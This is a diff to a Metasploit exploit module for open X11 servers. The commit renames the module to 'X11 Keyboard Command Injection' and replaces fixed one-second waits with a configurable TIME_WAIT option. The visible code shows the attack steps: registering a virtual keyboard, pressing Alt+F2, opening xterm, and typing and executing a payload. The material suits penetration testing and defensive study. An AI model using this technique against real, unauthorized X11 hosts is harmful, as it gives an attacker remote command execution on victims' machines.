@@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
79
79
80
80
def initialize ( info = { } )
81
81
super ( update_info ( info ,
82
- 'Name' => 'X11 Keyboard Exec ' ,
82
+ 'Name' => 'X11 Keyboard Command Injection ' ,
83
83
'Description' => %q{
84
84
This module exploits open X11 servers by connecting and registering a
85
85
virtual keyboard. The virtual keyboard is used to open an xterm terminal
@@ -108,7 +108,8 @@ def initialize(info = {})
108
108
109
109
register_options (
110
110
[
111
- Opt ::RPORT ( 6000 )
111
+ Opt ::RPORT ( 6000 ) ,
112
+ OptInt . new ( 'TIME_WAIT' , [ true , 'Time to wait for opening GUI windows' , 5 ] )
112
113
] , self . class )
113
114
end
114
115
@@ -225,15 +226,15 @@ def exploit
225
226
release_key ( KB_KEYS [ "alt" ] )
226
227
release_key ( KB_KEYS [ "f2" ] )
227
228
228
- # Wait a second to open the dialog
229
- select ( nil , nil , nil , 1 )
229
+ # Wait X seconds to open the dialog
230
+ select ( nil , nil , nil , datastore [ 'TIME_WAIT' ] )
230
231
231
232
# Start a xterm terminal
232
233
print_status ( "#{ rhost } :#{ rport } - Opening xterm" )
233
234
type_command ( "xterm" )
234
235
235
- # Wait a second to open the terminal
236
- select ( nil , nil , nil , 1 )
236
+ # Wait X seconds to open the terminal
237
+ select ( nil , nil , nil , datastore [ 'TIME_WAIT' ] )
237
238
238
239
# "Type" our payload and execute it
239
240
print_status ( "#{ rhost } :#{ rport } - Typing and executing payload" )
0 commit comments